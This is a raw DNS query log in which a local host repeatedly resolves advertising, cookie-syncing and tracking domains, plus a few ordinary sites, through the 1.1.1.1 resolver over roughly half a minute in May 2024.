May 25, 2024 00:46:06.016679049 CEST	192.168.2.6	1.1.1.1	0x24c0	Standard query (0)	s.ad.smaato.net	65	IN (0x0001)	false
May 25, 2024 00:46:06.045233011 CEST	192.168.2.6	1.1.1.1	0xf24c	Standard query (0)	sync.1rx.io	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.045392036 CEST	192.168.2.6	1.1.1.1	0x61d7	Standard query (0)	sync.1rx.io	65	IN (0x0001)	false
May 25, 2024 00:46:06.048067093 CEST	192.168.2.6	1.1.1.1	0xe61f	Standard query (0)	eb2.3lift.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.048361063 CEST	192.168.2.6	1.1.1.1	0xe33b	Standard query (0)	eb2.3lift.com	65	IN (0x0001)	false
May 25, 2024 00:46:06.050178051 CEST	192.168.2.6	1.1.1.1	0xcd36	Standard query (0)	pixel.tapad.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.050348997 CEST	192.168.2.6	1.1.1.1	0xc842	Standard query (0)	pixel.tapad.com	65	IN (0x0001)	false
May 25, 2024 00:46:06.051958084 CEST	192.168.2.6	1.1.1.1	0xe285	Standard query (0)	simplifi.partners.tremorhub.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.052087069 CEST	192.168.2.6	1.1.1.1	0x21cc	Standard query (0)	simplifi.partners.tremorhub.com	65	IN (0x0001)	false
May 25, 2024 00:46:06.120090961 CEST	192.168.2.6	1.1.1.1	0x57db	Standard query (0)	aa.agkn.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.120327950 CEST	192.168.2.6	1.1.1.1	0xdf22	Standard query (0)	aa.agkn.com	65	IN (0x0001)	false
May 25, 2024 00:46:06.897627115 CEST	192.168.2.6	1.1.1.1	0xfd28	Standard query (0)	px0.pbbl.co	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.897795916 CEST	192.168.2.6	1.1.1.1	0xb905	Standard query (0)	px0.pbbl.co	65	IN (0x0001)	false
May 25, 2024 00:46:06.978192091 CEST	192.168.2.6	1.1.1.1	0x52e9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.978744030 CEST	192.168.2.6	1.1.1.1	0x337b	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 25, 2024 00:46:06.990389109 CEST	192.168.2.6	1.1.1.1	0x4f79	Standard query (0)	simplifi.partners.tremorhub.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.990549088 CEST	192.168.2.6	1.1.1.1	0xe99a	Standard query (0)	simplifi.partners.tremorhub.com	65	IN (0x0001)	false
May 25, 2024 00:46:07.019622087 CEST	192.168.2.6	1.1.1.1	0xbcfa	Standard query (0)	sync.outbrain.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.019978046 CEST	192.168.2.6	1.1.1.1	0x2f1b	Standard query (0)	sync.outbrain.com	65	IN (0x0001)	false
May 25, 2024 00:46:07.048440933 CEST	192.168.2.6	1.1.1.1	0xb276	Standard query (0)	d.agkn.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.048590899 CEST	192.168.2.6	1.1.1.1	0x256e	Standard query (0)	d.agkn.com	65	IN (0x0001)	false
May 25, 2024 00:46:07.393445015 CEST	192.168.2.6	1.1.1.1	0x5165	Standard query (0)	accdn.lpsnmedia.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.393871069 CEST	192.168.2.6	1.1.1.1	0xe04a	Standard query (0)	accdn.lpsnmedia.net	65	IN (0x0001)	false
May 25, 2024 00:46:07.400100946 CEST	192.168.2.6	1.1.1.1	0xd0b5	Standard query (0)	liveengage.navyfederal.org	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.400247097 CEST	192.168.2.6	1.1.1.1	0xf74	Standard query (0)	liveengage.navyfederal.org	65	IN (0x0001)	false
May 25, 2024 00:46:07.440237999 CEST	192.168.2.6	1.1.1.1	0xd3b	Standard query (0)	pixel.tapad.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.440490007 CEST	192.168.2.6	1.1.1.1	0x2c59	Standard query (0)	pixel.tapad.com	65	IN (0x0001)	false
May 25, 2024 00:46:07.781141996 CEST	192.168.2.6	1.1.1.1	0x1c0a	Standard query (0)	sync.outbrain.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.781289101 CEST	192.168.2.6	1.1.1.1	0x8d29	Standard query (0)	sync.outbrain.com	65	IN (0x0001)	false
May 25, 2024 00:46:08.165515900 CEST	192.168.2.6	1.1.1.1	0x86f3	Standard query (0)	sync.intentiq.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:08.165832996 CEST	192.168.2.6	1.1.1.1	0xf1ce	Standard query (0)	sync.intentiq.com	65	IN (0x0001)	false
May 25, 2024 00:46:08.210462093 CEST	192.168.2.6	1.1.1.1	0xdd48	Standard query (0)	eb2.3lift.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:08.211070061 CEST	192.168.2.6	1.1.1.1	0xfaf5	Standard query (0)	eb2.3lift.com	65	IN (0x0001)	false
May 25, 2024 00:46:08.212657928 CEST	192.168.2.6	1.1.1.1	0xa2ef	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:08.212964058 CEST	192.168.2.6	1.1.1.1	0xe51f	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 25, 2024 00:46:08.384242058 CEST	192.168.2.6	1.1.1.1	0x556a	Standard query (0)	sync.targeting.unrulymedia.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:08.384437084 CEST	192.168.2.6	1.1.1.1	0x7fc0	Standard query (0)	sync.targeting.unrulymedia.com	65	IN (0x0001)	false
May 25, 2024 00:46:09.165139914 CEST	192.168.2.6	1.1.1.1	0xef5c	Standard query (0)	fei.pro-market.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.165410995 CEST	192.168.2.6	1.1.1.1	0xaa37	Standard query (0)	fei.pro-market.net	65	IN (0x0001)	false
May 25, 2024 00:46:09.266722918 CEST	192.168.2.6	1.1.1.1	0x7628	Standard query (0)	sync1.intentiq.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.267250061 CEST	192.168.2.6	1.1.1.1	0x7af3	Standard query (0)	sync1.intentiq.com	65	IN (0x0001)	false
May 25, 2024 00:46:09.454133034 CEST	192.168.2.6	1.1.1.1	0x6b1b	Standard query (0)	loadm.exelator.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.454763889 CEST	192.168.2.6	1.1.1.1	0x87ba	Standard query (0)	loadm.exelator.com	65	IN (0x0001)	false
May 25, 2024 00:46:09.615394115 CEST	192.168.2.6	1.1.1.1	0xbcf9	Standard query (0)	um.simpli.fi	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.616533995 CEST	192.168.2.6	1.1.1.1	0x759b	Standard query (0)	um.simpli.fi	65	IN (0x0001)	false
May 25, 2024 00:46:09.627477884 CEST	192.168.2.6	1.1.1.1	0x1152	Standard query (0)	sync.targeting.unrulymedia.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.628460884 CEST	192.168.2.6	1.1.1.1	0x9e15	Standard query (0)	sync.targeting.unrulymedia.com	65	IN (0x0001)	false
May 25, 2024 00:46:11.000813961 CEST	192.168.2.6	1.1.1.1	0xc4a5	Standard query (0)	sync.bfmio.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.001399994 CEST	192.168.2.6	1.1.1.1	0x2dd1	Standard query (0)	sync.bfmio.com	65	IN (0x0001)	false
May 25, 2024 00:46:11.005172968 CEST	192.168.2.6	1.1.1.1	0x569d	Standard query (0)	sync1.intentiq.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.005439043 CEST	192.168.2.6	1.1.1.1	0xb341	Standard query (0)	sync1.intentiq.com	65	IN (0x0001)	false
May 25, 2024 00:46:11.247747898 CEST	192.168.2.6	1.1.1.1	0x401d	Standard query (0)	cms.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.247962952 CEST	192.168.2.6	1.1.1.1	0x6aec	Standard query (0)	cms.analytics.yahoo.com	65	IN (0x0001)	false
May 25, 2024 00:46:11.248579979 CEST	192.168.2.6	1.1.1.1	0x99b8	Standard query (0)	stags.bluekai.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.248965025 CEST	192.168.2.6	1.1.1.1	0x5bca	Standard query (0)	stags.bluekai.com	65	IN (0x0001)	false
May 25, 2024 00:46:11.271244049 CEST	192.168.2.6	1.1.1.1	0x38db	Standard query (0)	bcp.crwdcntrl.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.271465063 CEST	192.168.2.6	1.1.1.1	0x2fe4	Standard query (0)	bcp.crwdcntrl.net	65	IN (0x0001)	false
May 25, 2024 00:46:12.233275890 CEST	192.168.2.6	1.1.1.1	0x45e4	Standard query (0)	ce.lijit.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.233781099 CEST	192.168.2.6	1.1.1.1	0x118c	Standard query (0)	ce.lijit.com	65	IN (0x0001)	false
May 25, 2024 00:46:12.442904949 CEST	192.168.2.6	1.1.1.1	0x1e0f	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.443043947 CEST	192.168.2.6	1.1.1.1	0xf79a	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
May 25, 2024 00:46:12.632774115 CEST	192.168.2.6	1.1.1.1	0x9f3b	Standard query (0)	va.v.liveperson.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.633502007 CEST	192.168.2.6	1.1.1.1	0xbd8	Standard query (0)	va.v.liveperson.net	65	IN (0x0001)	false
May 25, 2024 00:46:12.643661022 CEST	192.168.2.6	1.1.1.1	0xcf00	Standard query (0)	stags.bluekai.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.643661022 CEST	192.168.2.6	1.1.1.1	0xc9ee	Standard query (0)	stags.bluekai.com	65	IN (0x0001)	false
May 25, 2024 00:46:13.899440050 CEST	192.168.2.6	1.1.1.1	0x2527	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:13.899622917 CEST	192.168.2.6	1.1.1.1	0x3de8	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
May 25, 2024 00:46:13.969122887 CEST	192.168.2.6	1.1.1.1	0xbc22	Standard query (0)	tags.bluekai.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:13.969388962 CEST	192.168.2.6	1.1.1.1	0x7d31	Standard query (0)	tags.bluekai.com	65	IN (0x0001)	false
May 25, 2024 00:46:15.856786966 CEST	192.168.2.6	1.1.1.1	0x23b8	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:15.857163906 CEST	192.168.2.6	1.1.1.1	0x210d	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
May 25, 2024 00:46:15.859663963 CEST	192.168.2.6	1.1.1.1	0xa29f	Standard query (0)	pbid.pro-market.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:15.859833002 CEST	192.168.2.6	1.1.1.1	0x78d6	Standard query (0)	pbid.pro-market.net	65	IN (0x0001)	false
May 25, 2024 00:46:16.592747927 CEST	192.168.2.6	1.1.1.1	0x4168	Standard query (0)	pippio.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.592897892 CEST	192.168.2.6	1.1.1.1	0xf378	Standard query (0)	pippio.com	65	IN (0x0001)	false
May 25, 2024 00:46:16.730194092 CEST	192.168.2.6	1.1.1.1	0x3745	Standard query (0)	bcp.crwdcntrl.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.730329037 CEST	192.168.2.6	1.1.1.1	0xf3b3	Standard query (0)	bcp.crwdcntrl.net	65	IN (0x0001)	false
May 25, 2024 00:46:16.821583986 CEST	192.168.2.6	1.1.1.1	0xed09	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.821830034 CEST	192.168.2.6	1.1.1.1	0x715	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
May 25, 2024 00:46:16.823522091 CEST	192.168.2.6	1.1.1.1	0x2764	Standard query (0)	ce.lijit.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.823859930 CEST	192.168.2.6	1.1.1.1	0x5270	Standard query (0)	ce.lijit.com	65	IN (0x0001)	false
May 25, 2024 00:46:17.263711929 CEST	192.168.2.6	1.1.1.1	0xd5c7	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:17.263855934 CEST	192.168.2.6	1.1.1.1	0xa0c2	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
May 25, 2024 00:46:17.279684067 CEST	192.168.2.6	1.1.1.1	0x7fea	Standard query (0)	pbid.pro-market.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:17.279808044 CEST	192.168.2.6	1.1.1.1	0x9d41	Standard query (0)	pbid.pro-market.net	65	IN (0x0001)	false
May 25, 2024 00:46:17.372209072 CEST	192.168.2.6	1.1.1.1	0x9b53	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:17.372360945 CEST	192.168.2.6	1.1.1.1	0xe62f	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
May 25, 2024 00:46:17.591244936 CEST	192.168.2.6	1.1.1.1	0x6d54	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:17.591593981 CEST	192.168.2.6	1.1.1.1	0x7e5a	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
May 25, 2024 00:46:18.291255951 CEST	192.168.2.6	1.1.1.1	0x8049	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:18.291507006 CEST	192.168.2.6	1.1.1.1	0x5108	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
May 25, 2024 00:46:20.335567951 CEST	192.168.2.6	1.1.1.1	0x9eb6	Standard query (0)	secure-gl.imrworldwide.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.335809946 CEST	192.168.2.6	1.1.1.1	0xe4d7	Standard query (0)	secure-gl.imrworldwide.com	65	IN (0x0001)	false
May 25, 2024 00:46:20.336656094 CEST	192.168.2.6	1.1.1.1	0x1e87	Standard query (0)	idpix.media6degrees.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.336792946 CEST	192.168.2.6	1.1.1.1	0xa6c3	Standard query (0)	idpix.media6degrees.com	65	IN (0x0001)	false
May 25, 2024 00:46:20.540143967 CEST	192.168.2.6	1.1.1.1	0xff8d	Standard query (0)	match.360yield.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.540335894 CEST	192.168.2.6	1.1.1.1	0x665c	Standard query (0)	match.360yield.com	65	IN (0x0001)	false
May 25, 2024 00:46:21.686012983 CEST	192.168.2.6	1.1.1.1	0x11f9	Standard query (0)	su.addthis.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:21.686189890 CEST	192.168.2.6	1.1.1.1	0x3304	Standard query (0)	su.addthis.com	65	IN (0x0001)	false
May 25, 2024 00:46:21.754949093 CEST	192.168.2.6	1.1.1.1	0x6fac	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:21.755244017 CEST	192.168.2.6	1.1.1.1	0x55d	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
May 25, 2024 00:46:22.160310030 CEST	192.168.2.6	1.1.1.1	0x7be2	Standard query (0)	rtb-csync.smartadserver.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.160356998 CEST	192.168.2.6	1.1.1.1	0x6175	Standard query (0)	rtb-csync.smartadserver.com	65	IN (0x0001)	false
May 25, 2024 00:46:22.176819086 CEST	192.168.2.6	1.1.1.1	0x2776	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.177052975 CEST	192.168.2.6	1.1.1.1	0x8a1d	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
May 25, 2024 00:46:23.685642958 CEST	192.168.2.6	1.1.1.1	0xdcb9	Standard query (0)	pbs.yahoo.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.685864925 CEST	192.168.2.6	1.1.1.1	0xf9a5	Standard query (0)	pbs.yahoo.com	65	IN (0x0001)	false
May 25, 2024 00:46:23.686619997 CEST	192.168.2.6	1.1.1.1	0xb7b5	Standard query (0)	capi.connatix.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.686985970 CEST	192.168.2.6	1.1.1.1	0x3aae	Standard query (0)	capi.connatix.com	65	IN (0x0001)	false
May 25, 2024 00:46:23.687539101 CEST	192.168.2.6	1.1.1.1	0x43e0	Standard query (0)	amazon.partners.tremorhub.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.687896967 CEST	192.168.2.6	1.1.1.1	0x719	Standard query (0)	amazon.partners.tremorhub.com	65	IN (0x0001)	false
May 25, 2024 00:46:23.689229012 CEST	192.168.2.6	1.1.1.1	0xd058	Standard query (0)	www.imdb.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.689588070 CEST	192.168.2.6	1.1.1.1	0xf71d	Standard query (0)	www.imdb.com	65	IN (0x0001)	false
May 25, 2024 00:46:23.690402985 CEST	192.168.2.6	1.1.1.1	0xd92d	Standard query (0)	usersync.samplicio.us	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.690726995 CEST	192.168.2.6	1.1.1.1	0xa68e	Standard query (0)	usersync.samplicio.us	65	IN (0x0001)	false
May 25, 2024 00:46:23.691265106 CEST	192.168.2.6	1.1.1.1	0x646c	Standard query (0)	ads.samba.tv	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.691625118 CEST	192.168.2.6	1.1.1.1	0xee25	Standard query (0)	ads.samba.tv	65	IN (0x0001)	false
May 25, 2024 00:46:23.768940926 CEST	192.168.2.6	1.1.1.1	0x35ee	Standard query (0)	rtb-csync.smartadserver.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.769088030 CEST	192.168.2.6	1.1.1.1	0x5c23	Standard query (0)	rtb-csync.smartadserver.com	65	IN (0x0001)	false
May 25, 2024 00:46:24.854876041 CEST	192.168.2.6	1.1.1.1	0x9b64	Standard query (0)	odr.mookie1.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:24.854876041 CEST	192.168.2.6	1.1.1.1	0xcec6	Standard query (0)	odr.mookie1.com	65	IN (0x0001)	false
May 25, 2024 00:46:24.990452051 CEST	192.168.2.6	1.1.1.1	0xc732	Standard query (0)	i.liadm.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:24.991215944 CEST	192.168.2.6	1.1.1.1	0xac64	Standard query (0)	i.liadm.com	65	IN (0x0001)	false
May 25, 2024 00:46:25.308471918 CEST	192.168.2.6	1.1.1.1	0xcb05	Standard query (0)	c1.adform.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.308703899 CEST	192.168.2.6	1.1.1.1	0x9d91	Standard query (0)	c1.adform.net	65	IN (0x0001)	false
May 25, 2024 00:46:25.462536097 CEST	192.168.2.6	1.1.1.1	0xf7c0	Standard query (0)	bs.serving-sys.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.462693930 CEST	192.168.2.6	1.1.1.1	0x90b9	Standard query (0)	bs.serving-sys.com	65	IN (0x0001)	false
May 25, 2024 00:46:25.463167906 CEST	192.168.2.6	1.1.1.1	0x6807	Standard query (0)	cookie-matching.mediarithmics.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.463342905 CEST	192.168.2.6	1.1.1.1	0x6406	Standard query (0)	cookie-matching.mediarithmics.com	65	IN (0x0001)	false
May 25, 2024 00:46:25.463881969 CEST	192.168.2.6	1.1.1.1	0x7878	Standard query (0)	csync.loopme.me	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.464036942 CEST	192.168.2.6	1.1.1.1	0x45a5	Standard query (0)	csync.loopme.me	65	IN (0x0001)	false
May 25, 2024 00:46:25.507730007 CEST	192.168.2.6	1.1.1.1	0x1e11	Standard query (0)	usersync.samplicio.us	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.507978916 CEST	192.168.2.6	1.1.1.1	0x85d4	Standard query (0)	usersync.samplicio.us	65	IN (0x0001)	false
May 25, 2024 00:46:25.638906002 CEST	192.168.2.6	1.1.1.1	0x7838	Standard query (0)	ssum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.639163017 CEST	192.168.2.6	1.1.1.1	0x548	Standard query (0)	ssum-sec.casalemedia.com	65	IN (0x0001)	false
May 25, 2024 00:46:25.711824894 CEST	192.168.2.6	1.1.1.1	0x159	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.711963892 CEST	192.168.2.6	1.1.1.1	0x4464	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
May 25, 2024 00:46:25.943314075 CEST	192.168.2.6	1.1.1.1	0x2c60	Standard query (0)	odr.mookie1.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.943519115 CEST	192.168.2.6	1.1.1.1	0x24ab	Standard query (0)	odr.mookie1.com	65	IN (0x0001)	false
May 25, 2024 00:46:26.451307058 CEST	192.168.2.6	1.1.1.1	0xc96a	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.451534033 CEST	192.168.2.6	1.1.1.1	0x3391	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
May 25, 2024 00:46:26.485939026 CEST	192.168.2.6	1.1.1.1	0x1305	Standard query (0)	token.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.486197948 CEST	192.168.2.6	1.1.1.1	0x205e	Standard query (0)	token.rubiconproject.com	65	IN (0x0001)	false
May 25, 2024 00:46:26.486675978 CEST	192.168.2.6	1.1.1.1	0xfebf	Standard query (0)	loadus.exelator.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.486826897 CEST	192.168.2.6	1.1.1.1	0x309e	Standard query (0)	loadus.exelator.com	65	IN (0x0001)	false
May 25, 2024 00:46:26.497361898 CEST	192.168.2.6	1.1.1.1	0x1e28	Standard query (0)	lciapi.ninthdecimal.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.497694969 CEST	192.168.2.6	1.1.1.1	0x3f99	Standard query (0)	lciapi.ninthdecimal.com	65	IN (0x0001)	false
May 25, 2024 00:46:26.658828020 CEST	192.168.2.6	1.1.1.1	0x5768	Standard query (0)	lm.serving-sys.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.659432888 CEST	192.168.2.6	1.1.1.1	0x4bf8	Standard query (0)	lm.serving-sys.com	65	IN (0x0001)	false
May 25, 2024 00:46:26.949600935 CEST	192.168.2.6	1.1.1.1	0x8d63	Standard query (0)	sync-amazon.ads.yieldmo.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.949600935 CEST	192.168.2.6	1.1.1.1	0x4ae8	Standard query (0)	sync-amazon.ads.yieldmo.com	65	IN (0x0001)	false
May 25, 2024 00:46:26.956021070 CEST	192.168.2.6	1.1.1.1	0xec60	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:26.956021070 CEST	192.168.2.6	1.1.1.1	0x7151	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
May 25, 2024 00:46:27.641642094 CEST	192.168.2.6	1.1.1.1	0x193	Standard query (0)	sync.taboola.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:27.641709089 CEST	192.168.2.6	1.1.1.1	0xda14	Standard query (0)	sync.taboola.com	65	IN (0x0001)	false
May 25, 2024 00:46:27.997050047 CEST	192.168.2.6	1.1.1.1	0xc684	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:27.997050047 CEST	192.168.2.6	1.1.1.1	0xf319	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
May 25, 2024 00:46:28.350397110 CEST	192.168.2.6	1.1.1.1	0x3a31	Standard query (0)	public-prod-dspcookiematching.dmxleo.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:28.350682020 CEST	192.168.2.6	1.1.1.1	0x307a	Standard query (0)	public-prod-dspcookiematching.dmxleo.com	65	IN (0x0001)	false
May 25, 2024 00:46:28.453905106 CEST	192.168.2.6	1.1.1.1	0xcd9a	Standard query (0)	ads.stickyadstv.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:28.454195976 CEST	192.168.2.6	1.1.1.1	0xfbee	Standard query (0)	ads.stickyadstv.com	65	IN (0x0001)	false
May 25, 2024 00:46:28.552244902 CEST	192.168.2.6	1.1.1.1	0xc723	Standard query (0)	sync.rfp.fout.jp	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:28.552398920 CEST	192.168.2.6	1.1.1.1	0x13e5	Standard query (0)	sync.rfp.fout.jp	65	IN (0x0001)	false
May 25, 2024 00:46:28.850382090 CEST	192.168.2.6	1.1.1.1	0xa904	Standard query (0)	beacon.krxd.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:28.851150990 CEST	192.168.2.6	1.1.1.1	0xdb7	Standard query (0)	beacon.krxd.net	65	IN (0x0001)	false
May 25, 2024 00:46:29.138336897 CEST	192.168.2.6	1.1.1.1	0x22f7	Standard query (0)	beacon.krxd.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.375423908 CEST	192.168.2.6	1.1.1.1	0xabbd	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.375423908 CEST	192.168.2.6	1.1.1.1	0xc959	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
May 25, 2024 00:46:29.422367096 CEST	192.168.2.6	1.1.1.1	0x9214	Standard query (0)	sync.rfp.fout.jp	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.422578096 CEST	192.168.2.6	1.1.1.1	0x2554	Standard query (0)	sync.rfp.fout.jp	65	IN (0x0001)	false
May 25, 2024 00:46:29.464951038 CEST	192.168.2.6	1.1.1.1	0xa22f	Standard query (0)	public-prod-dspcookiematching.dmxleo.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.465266943 CEST	192.168.2.6	1.1.1.1	0x5bab	Standard query (0)	public-prod-dspcookiematching.dmxleo.com	65	IN (0x0001)	false
May 25, 2024 00:46:29.770447969 CEST	192.168.2.6	1.1.1.1	0x6f89	Standard query (0)	usermatch.krxd.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.770807981 CEST	192.168.2.6	1.1.1.1	0x4db9	Standard query (0)	usermatch.krxd.net	65	IN (0x0001)	false
May 25, 2024 00:46:29.798790932 CEST	192.168.2.6	1.1.1.1	0x4916	Standard query (0)	usermatch.krxd.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.843900919 CEST	192.168.2.6	1.1.1.1	0xf936	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:29.844284058 CEST	192.168.2.6	1.1.1.1	0x4b12	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
May 25, 2024 00:46:30.251477003 CEST	192.168.2.6	1.1.1.1	0xa907	Standard query (0)	uipglob.semasio.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:30.251867056 CEST	192.168.2.6	1.1.1.1	0xed37	Standard query (0)	uipglob.semasio.net	65	IN (0x0001)	false
May 25, 2024 00:46:30.689960957 CEST	192.168.2.6	1.1.1.1	0xa3b8	Standard query (0)	usersync.gumgum.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:30.690130949 CEST	192.168.2.6	1.1.1.1	0x9dee	Standard query (0)	usersync.gumgum.com	65	IN (0x0001)	false
May 25, 2024 00:46:31.151771069 CEST	192.168.2.6	1.1.1.1	0xc26a	Standard query (0)	pi.ispot.tv	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:31.152045012 CEST	192.168.2.6	1.1.1.1	0xb030	Standard query (0)	pi.ispot.tv	65	IN (0x0001)	false
May 25, 2024 00:46:31.214719057 CEST	192.168.2.6	1.1.1.1	0x2be1	Standard query (0)	image6.pubmatic.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:31.215161085 CEST	192.168.2.6	1.1.1.1	0x8879	Standard query (0)	image6.pubmatic.com	65	IN (0x0001)	false
May 25, 2024 00:46:31.268016100 CEST	192.168.2.6	1.1.1.1	0x9151	Standard query (0)	uipus.semasio.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:31.268213987 CEST	192.168.2.6	1.1.1.1	0x67c0	Standard query (0)	uipus.semasio.net	65	IN (0x0001)	false
May 25, 2024 00:46:32.465173960 CEST	192.168.2.6	1.1.1.1	0x9f8c	Standard query (0)	i.liadm.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:32.465503931 CEST	192.168.2.6	1.1.1.1	0xd76f	Standard query (0)	i.liadm.com	65	IN (0x0001)	false
May 25, 2024 00:46:32.518435955 CEST	192.168.2.6	1.1.1.1	0x2ee5	Standard query (0)	dmp.truoptik.com	A (IP address)	IN (0x0001)	false
